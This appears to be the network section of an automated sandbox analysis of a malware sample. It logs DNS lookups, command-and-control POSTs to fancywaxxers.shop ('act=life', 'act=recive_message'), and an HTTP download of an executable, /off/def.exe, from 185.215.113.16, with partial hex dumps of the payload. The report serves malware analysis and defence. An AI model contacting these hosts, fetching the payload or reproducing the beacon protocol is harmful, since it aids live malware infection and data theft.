Dec 31, 2024 15:42:29.579358101 CET	1.1.1.1	192.168.2.8	0x43ef	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.579358101 CET	1.1.1.1	192.168.2.8	0x43ef	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.579358101 CET	1.1.1.1	192.168.2.8	0x43ef	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:29.579900026 CET	1.1.1.1	192.168.2.8	0x6069	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.585974932 CET	1.1.1.1	192.168.2.8	0xbd80	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.585974932 CET	1.1.1.1	192.168.2.8	0xbd80	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.585974932 CET	1.1.1.1	192.168.2.8	0xbd80	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.585974932 CET	1.1.1.1	192.168.2.8	0xbd80	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 15:42:29.587018013 CET	1.1.1.1	192.168.2.8	0xf11b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:29.587018013 CET	1.1.1.1	192.168.2.8	0xf11b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:34.975831032 CET	1.1.1.1	192.168.2.8	0x7a8a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:34.978754997 CET	1.1.1.1	192.168.2.8	0x3928	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:38.074558020 CET	1.1.1.1	192.168.2.8	0xf427	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:42:38.076699018 CET	1.1.1.1	192.168.2.8	0x82fb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:43:26.355093956 CET	1.1.1.1	192.168.2.8	0x40ae	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 15:43:26.356635094 CET	1.1.1.1	192.168.2.8	0xdd33	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

https:

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49715	185.215.113.16	80	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 15:42:06.995284081 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 31, 2024 15:42:07.692395926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 31 Dec 2024 14:42:06 GMT Content-Type: application/octet-stream Content-Length: 2830336 Last-Modified: Tue, 31 Dec 2024 14:25:09 GMT Connection: keep-alive ETag: "6773fec5-2b3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 e2 d1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui`D @ @ @.rsrcD``@.idata f@kzgpmlwq**h@pvwipuxs `++@.taggant@+"+@
Dec 31, 2024 15:42:07.692445040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692459106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692652941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692676067 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692691088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692702055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 15:42:07.692713976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Wf\9\a]\\^\\\\\\\\\\\\\f+
Dec 31, 2024 15:42:07.692724943 CET	1236	IN	Data Raw: aa cf ab 82 82 f1 d1 5c a4 32 c4 5c a4 f1 a7 5c a4 f1 a7 5c a4 83 a9 5c a4 83 a9 5c a4 f4 a7 5c a4 05 a8 5c a5 0f aa 84 c5 f1 a7 66 ce 33 fb a6 e6 f2 a7 5d a4 f1 a7 5c a4 fd a7 5c a4 67 dc 8a d4 1f db 8c d7 22 e1 5c a4 f1 a7 61 a4 5d a8 5c a4 8d Data Ascii: \2\\\\\\\f3]\\g"\a]\\&]\)\Z\1\\Y\\5\i\\S\\\H^\^\\\\4\\\\&\\\\\\\\\
Dec 31, 2024 15:42:07.692737103 CET	1236	IN	Data Raw: a4 c2 b2 d7 a5 15 a8 00 c7 f1 a7 5c a4 82 a8 6e ad 63 a9 83 a4 55 cc 5c a4 f1 a7 e2 bc 98 b1 62 a4 18 a8 5c c4 f1 a7 5c a4 f1 a7 5d a4 20 ad 5c a4 f3 a7 cb ae f3 a7 5f a4 14 ad 5c a4 f2 a7 99 a9 f1 a7 5d a4 eb b0 5c a4 f2 a7 97 a8 f1 a7 5e a4 64 Data Ascii: \ncU\b\\] \_\]\^d\^[\]L\_^\\]}\_J\\]}\._\\]}\:_\ah\c/\qe\g\
Dec 31, 2024 15:42:07.698503017 CET	1236	IN	Data Raw: e8 50 fa a5 eb 39 fc af 03 43 ed ad f9 3a fa a1 e8 f1 fa 9f 03 3e e9 aa e5 38 ed ae 03 34 fa a1 e5 45 ed bb f7 36 fa b2 ed 34 ed 5c f7 34 07 aa e5 3f e9 a3 e9 43 07 a2 f2 46 f5 a1 f6 32 fc a1 03 44 ed ae fa 3a eb a1 a4 39 e9 ae e8 48 e9 ae e9 41 Data Ascii: P9C:>84E64\4?CF2D:9HA:96C96D??D:?96E53?::=\64CP6D:6C?D\@P=E\64?

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:41:53 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 14:41:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 14:41:54 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oaen5ov7aeqd72bogmqq6sp60j; expires=Sat, 26 Apr 2025 08:28:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B6KuEJWaTffBN0Ofo0eSwr9aALmoQ93jvsrrvzJG4bYoAC3sYK6AHngENj4s0EIfCwiEBFHJVm0YLy3on7yBizJc7Q0StXzphT%2FL92I0k7ksyB2cVnDAsWhhyDjFCpK4uzovUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab0876eb14c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&min_rtt=1522&rtt_var=589&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=908&delivery_rate=1828428&cwnd=214&unsent_bytes=0&cid=62b56299b9df951e&ts=671&x=0"
2024-12-31 14:41:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 14:41:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	104.21.48.1	443	1456	C:\Users\user\Desktop\SMmAznmdAa.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 14:41:54 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-31 14:41:54 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-31 14:41:55 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 14:41:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=plvdp9dsrp0gk1bga07j448u9f; expires=Sat, 26 Apr 2025 08:28:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mjbOZoMJYeGtaYbWfT5M9c4M2q8gC0g65OgMRfPEMBWUhlkpqyFvg%2Buhta7jKuNeM2S5btihfjjMKGxHy8Tf26AQdJqT%2F06cf2HJBFxhtviXE9oFRTS6%2FGiO%2BJhsyE%2Bexv6x9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab087ca8038cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1917&min_rtt=1914&rtt_var=725&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=954&delivery_rate=1501285&cwnd=242&unsent_bytes=0&cid=4e3b6bb3304f4b35&ts=483&x=0"
2024-12-31 14:41:55 UTC	236	IN	Data Raw: 34 39 39 34 0d 0a 6c 6c 78 34 31 42 67 54 6e 56 54 77 63 6c 74 2b 47 2b 47 7a 58 54 78 56 55 6b 7a 66 76 55 4f 6d 42 52 69 79 42 75 77 36 31 74 7a 74 66 67 37 32 49 69 65 78 64 6f 4d 58 65 55 52 76 6b 38 59 34 45 48 63 7a 4b 50 32 48 4a 63 64 70 61 39 63 71 7a 6b 79 37 2f 71 77 36 47 62 68 72 64 72 46 32 6c 51 70 35 52 45 43 61 6b 54 68 53 64 32 68 75 75 74 63 68 78 32 6c 36 30 32 32 44 53 72 71 2f 2f 6a 41 66 76 48 31 77 2b 54 57 63 48 7a 34 62 66 6f 44 5a 4d 31 55 34 4f 69 48 39 6b 57 48 44 66 7a 71 49 4a 4b 46 66 6f 72 33 62 50 51 75 2f 4f 6d 36 78 4c 39 49 58 4e 56 77 68 77 39 49 34 58 6a 6b 30 4b 4c 54 56 4b 38 35 68 65 39 5a 73 6e 46 4f 77 74 50 34 2b 48 4c 31 33 65 65 30 34 6c 68 67 31 48 58 Data Ascii: 4994llx41BgTnVTwclt+G+GzXTxVUkzfvUOmBRiyBuw61tztfg72IiexdoMXeURvk8Y4EHczKP2HJcdpa9cqzky7/qw6GbhrdrF2lQp5RECakThSd2huutchx2l6022DSrq//jAfvH1w+TWcHz4bfoDZM1U4OiH9kWHDfzqIJKFfor3bPQu/Om6xL9IXNVwhw9I4Xjk0KLTVK85he9ZsnFOwtP4+HL13ee04lhg1HX
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 53 41 6b 58 45 65 4d 43 68 75 35 5a 39 79 39 6d 52 72 77 58 47 44 53 4c 4c 2b 36 33 41 44 39 6e 31 39 76 32 37 53 47 44 55 53 66 49 44 65 4f 46 38 33 49 69 47 39 33 43 6e 4d 59 33 44 66 61 34 46 57 76 72 6e 38 4e 78 32 35 66 58 6e 35 4f 5a 46 51 64 31 78 2b 6d 35 46 6e 48 68 63 67 4c 62 37 4c 4c 4e 55 6e 5a 5a 35 39 7a 6c 2b 34 2f 71 78 2b 48 4c 68 37 66 50 38 6b 6d 68 73 79 47 57 75 49 32 44 4a 54 4e 7a 30 6b 73 74 77 68 77 32 31 77 33 32 36 4b 56 62 6d 34 39 44 35 61 2b 44 70 32 35 33 62 4b 55 42 6f 5a 61 59 54 64 4b 52 77 4e 63 44 48 7a 78 6d 48 44 61 7a 71 49 4a 49 5a 64 74 37 33 2f 4d 52 6d 2b 63 57 50 2f 4a 4a 51 64 50 41 35 2f 68 74 38 31 58 53 55 36 49 4c 76 63 4b 4d 39 75 66 39 64 67 7a 68 62 30 75 65 78 2b 51 76 5a 62 66 50 51 36 6d 41 63 35 58 Data Ascii: SAkXEeMChu5Z9y9mRrwXGDSLL+63AD9n19v27SGDUSfIDeOF83IiG93CnMY3Dfa4FWvrn8Nx25fXn5OZFQd1x+m5FnHhcgLb7LLNUnZZ59zl+4/qx+HLh7fP8kmhsyGWuI2DJTNz0kstwhw21w326KVbm49D5a+Dp253bKUBoZaYTdKRwNcDHzxmHDazqIJIZdt73/MRm+cWP/JJQdPA5/ht81XSU6ILvcKM9uf9dgzhb0uex+QvZbfPQ6mAc5X
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 2f 55 69 55 38 4a 4c 76 51 4c 4d 67 6e 4e 4a 42 6a 6c 68 6a 73 2f 74 34 39 44 72 56 77 4d 38 6f 31 6e 42 34 2b 43 6a 6d 63 6e 79 59 65 4d 44 78 75 35 5a 38 73 78 57 39 38 77 6d 75 44 57 37 71 77 2b 7a 73 56 76 6e 70 78 38 6a 4f 57 47 7a 49 66 64 49 66 44 4e 56 34 2f 4e 53 2b 33 31 57 47 4b 4a 33 33 49 4a 4e 59 59 68 61 6e 2f 66 43 2b 31 64 48 2f 34 49 4e 49 50 64 77 55 35 68 4e 31 2f 42 6e 63 39 4a 72 6a 61 4c 73 56 74 64 4e 56 75 67 6c 43 36 76 65 59 78 48 72 5a 32 65 66 55 37 6e 42 51 78 46 58 4b 49 31 7a 39 66 50 58 42 67 2f 64 67 35 68 44 38 36 35 47 4f 43 56 62 76 38 77 54 30 55 75 48 31 6e 76 79 6e 63 43 58 6b 62 64 63 4f 4a 66 31 49 2b 4d 43 57 33 32 79 48 44 61 6e 2f 54 59 34 31 56 73 37 54 36 4f 52 36 36 63 33 7a 35 4e 70 55 55 50 41 35 38 69 74 Data Ascii: /UiU8JLvQLMgnNJBjlhjs/t49DrVwM8o1nB4+CjmcnyYeMDxu5Z8sxW98wmuDW7qw+zsVvnpx8jOWGzIfdIfDNV4/NS+31WGKJ33IJNYYhan/fC+1dH/4INIPdwU5hN1/Bnc9JrjaLsVtdNVuglC6veYxHrZ2efU7nBQxFXKI1z9fPXBg/dg5hD865GOCVbv8wT0UuH1nvyncCXkbdcOJf1I+MCW32yHDan/TY41Vs7T6OR66c3z5NpUUPA58it
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 50 6a 6a 39 77 47 2f 64 4a 33 33 63 4a 4e 59 59 76 62 66 6d 4d 42 53 2f 64 33 66 33 4d 5a 77 64 4d 68 70 79 68 4e 59 35 55 7a 38 39 4b 37 37 65 4a 63 35 31 65 64 74 75 67 31 4c 30 38 4c 51 35 41 76 59 69 4d 64 67 36 75 77 41 69 44 6d 2f 44 7a 6e 46 48 64 7a 63 69 2f 59 64 68 78 32 68 7a 33 32 79 47 56 37 75 36 2b 6a 67 63 75 33 39 2b 39 53 53 61 48 6a 51 58 64 6f 6a 44 50 31 4d 7a 50 43 71 31 31 43 75 45 4b 54 72 58 66 4d 34 41 39 49 76 35 4d 52 71 31 62 44 48 67 65 49 74 51 50 68 41 35 32 35 45 7a 55 44 63 2f 49 72 48 55 4b 63 56 72 64 4e 64 68 68 31 43 38 72 50 55 36 45 72 64 30 66 76 34 79 6c 78 55 39 47 33 32 46 33 6e 38 51 64 7a 63 32 2f 59 64 68 36 30 42 50 6b 6b 57 30 47 4b 76 77 37 58 34 64 75 6a 6f 70 76 7a 71 52 48 44 45 54 66 34 72 64 4e 56 63 Data Ascii: Pjj9wG/dJ33cJNYYvbfmMBS/d3f3MZwdMhpyhNY5Uz89K77eJc51edtug1L08LQ5AvYiMdg6uwAiDm/DznFHdzci/Ydhx2hz32yGV7u6+jgcu39+9SSaHjQXdojDP1MzPCq11CuEKTrXfM4A9Iv5MRq1bDHgeItQPhA525EzUDc/IrHUKcVrdNdhh1C8rPU6Erd0fv4ylxU9G32F3n8Qdzc2/Ydh60BPkkW0GKvw7X4dujopvzqRHDETf4rdNVc
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 74 73 69 77 47 4a 31 30 57 57 49 53 72 4f 33 35 6a 41 58 75 58 4a 35 39 6a 65 57 46 54 51 61 64 59 6e 51 4f 46 41 35 4f 47 37 7a 6e 79 62 63 4a 79 4b 51 52 5a 35 44 70 71 6a 35 48 78 65 35 4f 6d 36 78 4c 39 49 58 4e 56 77 68 77 39 67 74 57 6a 6f 69 4a 37 72 52 4c 73 64 31 65 39 31 76 6e 46 2b 37 75 76 4d 79 48 4c 6c 38 63 50 6f 38 6e 68 63 38 46 33 61 50 6b 58 45 65 4d 43 68 75 35 5a 38 50 7a 33 52 74 30 32 71 46 54 71 2f 2b 36 33 41 44 39 6e 31 39 76 32 37 53 45 7a 49 58 66 59 50 64 50 31 6f 36 4d 44 79 79 32 43 62 4e 62 47 6a 61 59 34 6c 54 76 4c 58 37 4f 41 69 36 64 47 50 36 4a 49 42 51 64 31 78 2b 6d 35 46 6e 48 67 45 33 50 71 33 63 59 2f 56 78 65 63 5a 76 67 31 54 30 6f 62 6f 6e 57 72 46 32 4d 61 64 32 6c 42 38 77 48 33 61 43 32 44 4e 54 4d 6a 6b 72 Data Ascii: tsiwGJ10WWISrO35jAXuXJ59jeWFTQadYnQOFA5OG7znybcJyKQRZ5Dpqj5Hxe5Om6xL9IXNVwhw9gtWjoiJ7rRLsd1e91vnF+7uvMyHLl8cPo8nhc8F3aPkXEeMChu5Z8Pz3Rt02qFTq/+63AD9n19v27SEzIXfYPdP1o6MDyy2CbNbGjaY4lTvLX7OAi6dGP6JIBQd1x+m5FnHgE3Pq3cY/VxecZvg1T0obonWrF2Mad2lB8wH3aC2DNTMjkr
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 39 70 53 4e 4e 2f 7a 6b 66 36 70 37 51 35 46 76 59 69 4d 66 77 78 6b 52 45 7a 46 58 57 4d 31 6a 74 4d 50 54 63 38 76 4e 34 71 79 57 74 36 33 57 6d 45 57 62 32 7a 2b 44 4d 64 73 58 56 30 76 33 6a 53 46 79 46 63 49 63 50 77 4d 6c 55 37 61 33 54 39 77 47 2f 64 4a 33 33 63 4a 4e 59 59 74 4c 54 78 4e 42 65 31 64 58 4c 74 4e 35 51 43 4f 52 46 7a 6b 64 73 30 57 7a 6f 39 49 37 37 5a 4a 38 39 72 61 4e 6c 6b 6a 56 50 30 38 4c 51 35 41 76 59 69 4d 64 77 68 68 42 6f 2b 45 47 2b 49 30 44 78 49 4f 69 42 75 38 35 38 77 77 33 59 36 69 48 4b 65 54 37 4f 68 75 69 64 61 73 58 59 78 70 33 61 55 47 54 38 62 66 34 33 44 4f 6c 67 34 50 79 65 30 32 79 6e 48 5a 33 37 55 59 34 74 62 75 4c 58 7a 50 52 57 79 63 33 2f 32 4f 64 4a 65 65 52 74 68 77 34 6c 2f 66 79 77 7a 49 72 43 66 50 Data Ascii: 9pSNN/zkf6p7Q5FvYiMfwxkREzFXWM1jtMPTc8vN4qyWt63WmEWb2z+DMdsXV0v3jSFyFcIcPwMlU7a3T9wG/dJ33cJNYYtLTxNBe1dXLtN5QCORFzkds0Wzo9I77ZJ89raNlkjVP08LQ5AvYiMdwhhBo+EG+I0DxIOiBu858ww3Y6iHKeT7OhuidasXYxp3aUGT8bf43DOlg4Pye02ynHZ37UY4tbuLXzPRWyc3/2OdJeeRthw4l/fywzIrCfP
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 51 4b 73 35 66 72 50 36 73 66 6a 71 39 62 48 54 34 49 4e 41 6c 4f 68 4a 33 68 4d 64 2f 51 51 68 2b 62 72 4c 46 59 5a 78 65 59 35 42 6a 67 68 6a 73 2f 75 45 35 47 72 46 67 5a 2f 67 36 67 78 73 30 45 46 75 4d 31 69 6c 64 4f 44 4d 2f 74 4a 4d 71 79 53 63 30 6b 47 4f 57 47 4f 7a 2b 32 7a 6b 4d 74 56 56 79 37 6a 2f 53 58 6e 6b 62 62 38 4f 4a 66 32 42 33 49 69 32 74 33 43 37 56 57 54 71 49 66 62 41 59 76 36 6a 7a 4c 68 6d 67 63 58 7a 7a 4a 36 78 51 59 55 67 72 30 59 4e 74 44 43 68 77 4d 59 4b 52 59 63 55 6e 49 75 6c 39 7a 6b 37 30 35 71 5a 77 57 71 51 36 4b 62 39 78 6b 51 49 72 47 6e 71 56 30 6e 68 67 43 52 63 34 74 39 67 78 77 33 42 31 6b 43 72 4f 56 2f 54 6d 7a 58 34 54 73 57 46 67 36 54 75 43 46 33 6b 6a 4e 38 50 4a 66 77 5a 33 42 53 32 7a 30 53 62 53 64 6a Data Ascii: QKs5frP6sfjq9bHT4INAlOhJ3hMd/QQh+brLFYZxeY5Bjghjs/uE5GrFgZ/g6gxs0EFuM1ildODM/tJMqySc0kGOWGOz+2zkMtVVy7j/SXnkbb8OJf2B3Ii2t3C7VWTqIfbAYv6jzLhmgcXzzJ6xQYUgr0YNtDChwMYKRYcUnIul9zk705qZwWqQ6Kb9xkQIrGnqV0nhgCRc4t9gxw3B1kCrOV/TmzX4TsWFg6TuCF3kjN8PJfwZ3BS2z0SbSdj
2024-12-31 14:41:55 UTC	1369	IN	Data Raw: 46 4c 79 76 2b 54 4a 61 2b 44 70 6b 39 44 71 55 48 53 78 54 61 4a 58 53 4b 56 6c 37 4f 44 2b 77 30 32 48 37 4b 54 72 49 4a 4e 59 59 67 62 33 36 4d 42 32 67 61 7a 7a 66 50 5a 34 54 4e 52 31 2b 77 35 39 2f 57 48 64 6f 66 66 4f 66 4a 64 55 6e 49 6f 41 32 31 51 33 6e 36 61 52 73 42 66 68 6a 4d 65 6c 32 79 6b 4a 33 58 47 76 44 69 58 38 5a 4e 43 49 38 75 39 77 33 78 79 42 45 37 6d 57 44 56 2f 69 77 2f 7a 34 64 70 6d 78 71 73 7a 36 52 43 69 4d 69 52 36 6a 64 4f 56 6b 74 4e 79 69 62 2f 32 47 4b 4a 33 57 51 50 4c 63 59 2f 50 37 4c 63 46 71 75 4f 69 6d 2f 41 35 45 65 4e 78 74 76 6b 70 77 58 66 51 30 4b 62 4a 48 59 4e 49 5a 54 66 63 42 31 68 56 57 34 2f 72 70 2b 48 50 59 69 49 62 46 32 6c 67 46 35 52 43 6e 52 69 6d 6f 4e 59 47 42 38 6f 70 45 34 68 48 45 36 69 44 62 Data Ascii: FLyv+TJa+Dpk9DqUHSxTaJXSKVl7OD+w02H7KTrIJNYYgb36MB2gazzfPZ4TNR1+w59/WHdoffOfJdUnIoA21Q3n6aRsBfhjMel2ykJ3XGvDiX8ZNCI8u9w3xyBE7mWDV/iw/z4dpmxqsz6RCiMiR6jdOVktNyib/2GKJ3WQPLcY/P7LcFquOim/A5EeNxtvkpwXfQ0KbJHYNIZTfcB1hVW4/rp+HPYiIbF2lgF5RCnRimoNYGB8opE4hHE6iDb
